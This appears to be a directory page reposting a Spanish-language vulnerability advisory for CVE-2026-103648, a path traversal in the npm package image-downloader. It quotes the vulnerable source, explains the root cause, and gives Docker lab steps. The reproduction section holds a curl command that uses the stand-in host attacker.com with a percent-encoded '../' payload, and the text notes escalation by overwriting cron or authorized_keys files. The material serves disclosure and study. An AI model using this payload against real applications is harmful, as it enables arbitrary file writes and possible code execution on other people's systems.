Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-103648 — Aviso y PoC para CVE-2026-103648, un path traversal (CWE-22) en image-downloader 4.3.0 que permite escritura arbitraria de archivos, con análisis de causa raíz, diff del parche y laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/eternullsec/cve-2026-103648
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed TeamingLabs y Práctica
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Aviso y PoC para CVE-2026-103648, un path traversal (CWE-22) en image-downloader 4.3.0 que permite escritura arbitraria de archivos, con análisis de causa raíz, diff del parche y laboratorio Docker.

hace 8h 7mAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-103648 — Path Traversal en image-downloader

CVE CVSS CWE Package Status License

Descubierto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ Solo con fines educativos. Este repositorio documenta una vulnerabilidad divulgada de forma responsable. Todo el código PoC está destinado únicamente a la investigación de seguridad autorizada y a pruebas en entornos de laboratorio aislados. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito para realizar pruebas.


📋 Resumen del Aviso

CampoDetalles
ID de CVECVE-2026-103648
Entrada NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Puntuación CVSS v3.19.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Limitación incorrecta de un nombre de ruta a un directorio restringido
Paqueteimage-downloader (npm) por demsking
Descargas semanales de npm~11,000 (~38,000/mes) — fuente
Versiones afectadas< 4.3.1 (todas las versiones incluyendo 4.3.0)
Versión corregida4.3.1
Asignado porGitLab
Publicado2026-10-02
Reportado porAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Análisis Técnico de la Causa Raíz

La vulnerabilidad se encuentra en la lógica de extracción de nombres de archivo de [email protected]. Este es el código fuente real de la versión afectada (index.js, extraído directamente del paquete npm publicado):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

El error exacto

  1. Se llama a path.basename(pathname) sobre el pathname de la URL que aún está codificado en porcentaje. Una secuencia como %2e%2e%2fpwned.sh no contiene ningún / literal, por lo que path.basename() trata todo el conjunto como un único nombre de archivo y lo devuelve sin cambios — no se elimina nada.
  2. El resultado se pasa después por decodeURIComponent(). Este es el paso que convierte %2e%2e%2f de nuevo en un ../ literal — pero para entonces ya ha sobrevivido al paso de basename que se suponía que debía sanitizarlo.
  3. Se llama a path.join(options.dest, decodedBasename) con una cadena que ahora contiene un segmento ../ real. path.join() normaliza .. de la misma manera que lo haría cd .. — por lo que la ruta de escritura final se resuelve a una ubicación fuera de options.dest.

En resumen: el código decodifica el nombre de archivo de la manera correcta, pero en el orden incorrecto respecto a path.basename(). Decodificar y luego aplicar basename es seguro; aplicar basename y luego decodificar no lo es.

Disparador mínimo

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

Desglose del CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Modelo de Ataque

Este laboratorio demuestra el mecanismo del error de principio a fin en un único script para facilitar la reproducción, pero merece la pena exponer explícitamente el modelo de ataque en el mundo real:

  • Víctima: cualquier aplicación que llame a download.image({ url, dest }) de image-downloader con un valor url que no controlaba completamente por sí misma — por ejemplo, una URL enviada por un usuario (funciones de importación de avatar/imagen), extraída de la carga útil de un webhook, o leída de un feed RSS/contenido.
  • Atacante: controla (o puede redirigir hacia) el servidor HTTP al que apunta la url de la víctima, y controla el componente de ruta de esa URL — lo cual es suficiente por sí solo, ya que el path traversal reside en la ruta de la URL (%2e%2e%2f...), no en el cuerpo de la respuesta.
  • Impacto: el proceso víctima escribe un archivo elegido por el atacante en una ruta elegida por el atacante, fuera del directorio que el desarrollador pretendía — en contenedores o scripts que se ejecutan con amplio acceso al sistema de archivos, esto suele escalar a ejecución de código (por ejemplo, sobrescribir un archivo cron, un archivo authorized_keys, o un ejecutable que la aplicación ejecuta posteriormente).

En exploit/exploit.py, los roles de atacante y víctima se combinan en un único script por comodidad del laboratorio (levanta tanto la petición del servidor "víctima" como el servidor de carga útil controlado por el atacante). En un escenario de explotación real, estas son dos partes separadas y no relacionadas — el PoC está estructurado de esta manera únicamente para que la vulnerabilidad sea reproducible con un solo comando.


🧪 Configuración del Entorno de Laboratorio

Requisitos previos

  • Docker y Docker Compose O Node.js v18+
  • Python 3.x (para el script de explotación)

Opción A — Docker (Recomendado)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

El servidor vulnerable estará disponible en http://localhost:3000.

Opción B — Node.js Manual

cd vulnerable-app/
npm install
node server.js

💥 Pasos para Reproducir (PoC)

Paso 1 — Iniciar el Servidor Vulnerable

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Paso 2 — Ejecutar el Exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

O manualmente con curl (el path traversal está en la ruta de la URL, no en el cuerpo de la respuesta):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Paso 3 — Verificar el Path Traversal

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
Descargar herramienta